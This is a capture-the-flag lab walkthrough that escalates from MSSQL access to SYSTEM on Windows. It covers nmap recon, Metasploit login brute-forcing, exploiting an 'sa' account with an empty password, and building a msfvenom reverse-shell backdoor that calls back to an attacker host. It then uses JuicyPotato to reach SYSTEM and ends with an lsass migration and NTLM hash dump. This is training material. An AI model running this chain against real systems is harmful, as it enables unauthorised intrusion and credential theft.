


Name MSSQL: Juicy Potato: Privilege Escalation

URL https://attackdefense.com/challengedetails?cid=2323

Type Windows Service Exploitation: MSSQL

Important Note: This document illustrates all the important steps required to complete this lab.
This is by no means a comprehensive step-by-step solution for this exercise. This is only
provided as a reference to various commands needed to complete this exercise and for your
further research on this topic. Also, note that the IP addresses and domain names might be
different in your lab.

Step 1: Checking the target IP address.

Note: The target IP address is stored in the “target” file.

Command: cat /root/Desktop/target

Step 2: Run a Nmap scan against the target IP.

Command: nmap 10.0.17.87

https://attackdefense.com/challengedetails?cid=2323


Step 3: We have discovered that multiple ports are open. We will be focusing on port 1433
where the MSSQL server is running.

Running ms-sql-info nmap script to discover MSSQL server information.

Command: nmap --script ms-sql-info -p 1433 10.0.17.87



We have found that the target is running “Microsoft SQL Server 2019”.

Step 4: Running msfconsole

Command: msfconsole -q

Step 5: Identifying valid MSSQL users and their passwords using provided username and
password list using Metasploit module mssql_login

Commands:
use auxiliary/scanner/mssql/mssql_login
set RHOSTS 10.0.17.87
set USER_FILE /root/Desktop/wordlist/common_users.txt



set PASS_FILE /root/Desktop/wordlist/100-common-passwords.txt
set VERBOSE false
exploit

We have discovered two users (dbadmin, auditor) passwords and the ‘sa’ user is enabled on
the server with <empty> password. So, we can access the sa user directory without entering the
password.

By default in Metasploit sa user is set to USERNAME and PASSWORD is empty ‘’.

Step 6: Exploit the target machine using the mssql_payload Metasploit module.

Commands:
use exploit/windows/mssql/mssql_payload
set RHOSTS 10.0.17.87
exploit

Note: By default, the module uses sa user with no password hence we don’t have to set
anything for the authentication.



Step 7: Check the current running user and running os information.

Command: sysinfo
getuid



We are running as an NT Service\MSSQL$SQLEXPRESS.

Step 8: Get the first flag.

Commands: shell
cd /
dir
type flag.txt



Flag: 78598a9b8d36f0112c54356135493fd0

Step 9: Checking all the available privileges.

Command:
whoami /priv



We have SeAssignPrimaryToken privilege. If the user has SeImpersonate or
SeAssignPrimaryToken privileges then we can escalate the current privilege to the system.

We are going to use the JuicyPotato.exe executable to escalate the privilege to the NT system.

Juicy-potato:

“A sugared version of RottenPotatoNG, with a bit of juice, i.e. another Local Privilege Escalation
tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM.”

Source: https://github.com/ohpe/juicy-potato

Step 10: Generating Metasploit malicious win executable. Open a new terminal window/tab.

Command: ip addr
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.15.2 LPORT=4444 -f exe >
backdoor.exe

https://github.com/ohpe/juicy-potato


Step 11: Switch the current directory to the public user’s directory on the meterpreter session.

Command: exit (To exit the shell not the meterpreter)
cd C:\\Users\\Public

Step 12: Upload backdoor.exe and JuicyPotato.exe.

The JuicyPotato.exe potato is located in the “/root/Desktop/tools/JuicyPotato/” directory.

Commands: upload /root/backdoor.exe .
upload /root/Desktop/tools/JuicyPotato/JuicyPotato.exe .



Step 13: Open another terminal and run Metasploit multi handler.

Commands:
msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.10.15.2
set LPORT 4444
exploit



We need CLSID in order to escalate the current privilege to the NT system.

CLSID:

“A CLSID is a globally unique identifier that identifies a COM class object.”

Source: https://docs.microsoft.com/en-us/windows/win32/com/clsid-key-hklm

We can find all CLSID for Windows Server 2016:
http://ohpe.it/juicy-potato/CLSID/Windows_Server_2016_Standard/

Step 14: Escalate privilege to the system using JuicyPotato.exe

Command: shell
C:\Users\Public\JuicyPotato.exe -l 4444 -p C:\Users\Public\backdoor.exe -t * -c
{4991d34b-80a1-4291-83b6-3328366b9097}

https://docs.microsoft.com/en-us/windows/win32/com/clsid-key-hklm
http://ohpe.it/juicy-potato/CLSID/Windows_Server_2016_Standard/


Check the Metasploit multi handler for the new meterpreter session.

Step 15: Migrate the current process in the lsass.exe process

Command: migrate -N lsass.exe

Step 16: Dump the hashes



Command: hashdump

Administrator NTLM Hash: 5c4d59391f656d5958dab124ffeabc20
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